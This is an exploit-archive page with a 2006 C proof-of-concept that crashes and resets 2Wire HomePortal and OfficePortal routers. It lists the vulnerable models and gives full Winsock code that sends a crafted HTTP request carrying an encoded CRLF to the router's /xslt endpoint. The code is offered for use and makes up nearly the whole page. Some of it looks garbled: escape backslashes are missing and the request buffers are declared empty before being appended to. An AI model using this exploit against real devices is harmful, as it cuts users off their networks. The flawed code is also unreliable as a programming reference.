[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : 2wire Modems/Routers CRLF Denial of Service Exploit
# Published : 2006-08-22
# Author : preth00nker
# Previous Title : MDaemon POP3 Server < 9.06 (USER) Remote Buffer Overflow PoC
# Next Title : Apache < 1.3.37, 2.0.59, 2.2.3 (mod_rewrite) Remote Overflow PoC
//Vulnerable:
//2Wire OfficePortal 0
//2Wire HomePortal 1500W
//2Wire HomePortal 100W
//2Wire HomePortal 100S
//2Wire HomePortal 1000W
//2Wire HomePortal 1000SW
//2Wire HomePortal 1000S
//2Wire HomePortal 1000
//2Wire HomePortal 0
////////////////////////////////// [ STARTING CODE ]
////////////////////////////////////////////////////
////
//// [ Explanation ] this PoC make an evil_request
//// and send to the server , when the server process
//// it the request fall him, AND THE MODEM WILL RESET!.
////
//// [ Note ] This Poc was coded using Dev-C++ 4.9.9.2
//// If you have any error with the librarys you need
//// include libws2_32.a at the project.
////
//// Enjoy it n_nU!..
//// Coded by preth00nker (using Mexican skill!)
#pragma comment(lib,"libws2_32.a")
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "winsock2.h"
unsigned long dir;
char h[]="";
short port;
char badreq[]="";
int state;
int main(int argc, char *argv[])
{
printf("n################################################n");
printf("####n");
printf("#### PoC of DoS 2wire_Gatewayn");
printf("#### By Preth00nkern");
printf("#### http://www.mexhackteam.orgn");
printf("####n");
printf("####nn");
if (argc<4){
printf("[Usage] %s $Host $Port $Variablen",argv[0]);
printf("n[I.E.] %s 192.168.1.254 80 PAGEn",argv[0]);
return 0;
}
//Crear socket
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2),&wsaData);
SOCKET wsck;
//Estructuras
struct sockaddr_in Wins;
struct hostent *target;
//Wins
Wins.sin_family=AF_INET;
Wins.sin_port=htons((short)atoi(argv[2]));
target=gethostbyname(argv[1]);
Wins.sin_addr.s_addr=inet_addr(inet_ntoa(*(struct in_addr *)target->h_addr));
//llamamos al socket
wsck=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,(int unsigned)NULL,(int unsigned)NULL,(int unsigned)NULL);
//Verifica por error
if (wsck==SOCKET_ERROR){printf("Error al crear el socket =!..");WSACleanup();return 0;}
printf("Socket creado correctamente!.. hWndl: %d",wsck);
//Conecta
if(WSAConnect(wsck,(SOCKADDR*)&Wins,sizeof(Wins),NULL,NULL,NULL,NULL)==SOCKET_ERROR){
WSACleanup();
return 0;
printf("nError al conectar =!..");
}
printf("nConectado!..");
//Make a bad query and send it ..Mwajuajua!..
strcat(badreq,"GET /xslt?");
strcat(badreq,argv[3]);
strcat(badreq,"=%0D%0A HTTP/1.0rn");
strcat(badreq,"Accept-Language: es-mxrn");
strcat(badreq,"User-Agent: MexHackTeamrn");
strcat(badreq,"Host: ");
strcat(badreq,argv[1]);
strcat(badreq, "rnrnrn");
send(wsck , badreq ,(int)strlen(badreq), 0);
printf("nDatos Mandados!..");
//finalized
Sleep(100);
printf("nThat's all, Check this out!...n");
WSACleanup();
return 0;
}
//////////////////////////////////////////// [ EOF ]
////////////////////////////////////////////////////
// www.Syue.com [2006-08-22]